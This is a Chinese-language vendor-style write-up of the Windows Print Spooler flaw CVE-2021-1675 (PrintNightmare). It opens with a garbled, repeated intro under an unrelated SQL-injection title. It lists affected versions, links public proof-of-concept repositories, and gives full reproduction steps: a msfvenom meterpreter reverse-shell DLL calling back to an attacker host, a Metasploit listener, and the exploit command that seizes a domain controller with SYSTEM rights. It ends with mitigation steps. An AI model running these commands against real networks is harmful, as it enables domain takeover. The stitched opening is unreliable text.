sql防注入系统锁定怎么解除?AD域安全之WindowsPrintSpooler权限提升漏洞
sql防注入系统锁定怎么解除?AD域安全之WindowsPrintSpooler权限提升漏洞Windows Server 2012 (Server Core installation)Windows Server 2012 R2该漏洞又被漏洞的作者称为PrintNightmare,引发该漏洞的原因主要是因为当Windows Print Spooler服务(Windows的打印机后台处理程序)不正确地执行特权文件操作时,存在远程执行代码漏洞风险。成功利用此漏洞的攻击者可以使用SYSTEM权限运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新账户。攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。Windows Server 2012 R2 (Server
01前言在较大的企业、政企、高校等单位的网络信息化建设中,域环境常常是内部网络建设的重要一部分,从现有网络安全建设来看,大部分单位的内部网络的安全性往往做的没有边界这么好,网络防御的重点基本还是集中在网络边界位置。
随着黑产团伙网络攻击事件的频频发生,在攻击者“穿过”单位网络的“边界防御”后,内部网络这块“香饽饽”是不会轻易放过的。黑客经常会利用AD域(Active Directory Domain)来作为首要攻击目标,特别是域控,一旦域控被拿下,基本上可以说整个域已宣布失陷,整个过程黑客涉及了网络攻击生命周期中的权限提升、内部侦察和横向移动阶段。
图1 网络攻击生命周期
本章将对域内渗透常被利用的漏洞之一:Windows Print Spooler权限提升漏洞——CVE-2021-1675进行介绍分析,聚铭网络流量智能分析审计产品支持对该漏洞利用的检测。
02漏洞简介该漏洞又被漏洞的作者称为PrintNightmare,引发该漏洞的原因主要是因为当Windows Print Spooler服务(Windows的打印机后台处理程序)不正确地执行特权文件操作时,存在远程执行代码漏洞风险。成功利用此漏洞的攻击者可以使用SYSTEM权限运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新账户。
攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。
03影响范围
Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows RT 8.1 Windows 8.1 for x64-based systems Windows 8.1 for 32-bit systems Windows 7 for x64-based Systems Service Pack 1 Windows 7 for 32-bit Systems Service Pack 1 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows Server version 20H2 (Server Core Installation) Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows Server version 2004 (Server Core installation) Windows 10 Version 2004 for x64-based Systems Windows 10 Version 2004 for ARM64-based Systems Windows 10 Version 2004 for 32-bit Systems Windows 10 Version 21H1 for 32-bit Systems Windows 10 Version 21H1 for ARM64-based Systems Windows 10 Version 21H1 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems |
- 相关POC
https://github.com/afwu/PrintNightmare
https://github.com/cube0x0/CVE-2021-1675
https://github.com/calebstewart/CVE-2021-1675
- 环境搭建
需要一台2019server(192.168.83.136)、CentOS7(192.168.83.129)、Kali攻击主机(192.168.83.135)。
- 环境配置
➢ 2019server(192.168.83.136):
关闭安全中心
创建AD域控
创建域内用户
开启print spooler服务
修改注册表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters] "AllowInsecureGuestAuth"=dword:00000001 #确保server2019能够访问CentOS7的smb服务 |
➢ CentOS7(192.168.83.129):
无密码的smb服务(共享文件夹服务)
➢ Kali(192.168.83.135):
msf:自带
python3.9:自带
CVE-2021-1675漏洞POC:
git https://github.com/cube0x0/CVE-2021-1675 |
mpacket:
git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install |
- 复现步骤
1. 在kali主机上面,通过msfvenom来制作文件HACK.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.83.135 LPORT=9999 -f dll -o HACK.dll
2. 将生成的dll文件上传到CentOS7的共享文件夹
scp HACK.dll root@192.168.83.129:/tmp
3. 设置kali的监听端口和dll文件的反射端口相同 即9999端口
msfconsole
开启端口监听。
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.83.135 -P 9999
4. 新建窗口尝试利用POC复现
Python3 CVE-2021-1675.py dopa.com/zhangsan:XXXXX@192.168.83.136 “\\192.168.83.129\tmp\HACK.dll”
出现了报错,但是并不影响我们获取shell
5. 直接进入连接,尝试远程控制
回到第3步的窗口,发现监听的9999端口爆出产生新的连接,连接IP为域服务器192.168.83.136
05漏洞原理在理解该漏洞之前,我们先聊一下Windows的DLL文件。微软为了便于软件开发人员更轻松的开发出想要的程序,会抽象出公共的一些库文件,该库文件都是集成好,并且可以直接运行的“武器库”。
再聊一下微软的打印机服务,该服务为客户端提供了一项可以远程在服务器端安装打印机驱动的功能。客户端远程使用该功能,并选择驱动的文件位置(任意位置),服务器就会以system权限去运行该驱动包。
这次微软的漏洞就是打印机服务print spooler没有限制DLL文件的调用,导致黑客可以直接利用该函数,让系统以system权限在服务器本地运行一个后门程序文件HACK.dll。远程控制服务器。
图2 打印驱动目录下后门文件HACK.dll
06解决方案1. 建议在不使用打印服务的情况下,关闭打印机相关服务。
cmd: net stop spooler && sc config spooler start=disabled PowerShell: Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled |
2. 组策略封禁
gpedit.msc Policies/Windows Settings/Security Settings/System Services/Print Spooler //选择禁用 |
3. 至windows官网下载补丁包
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675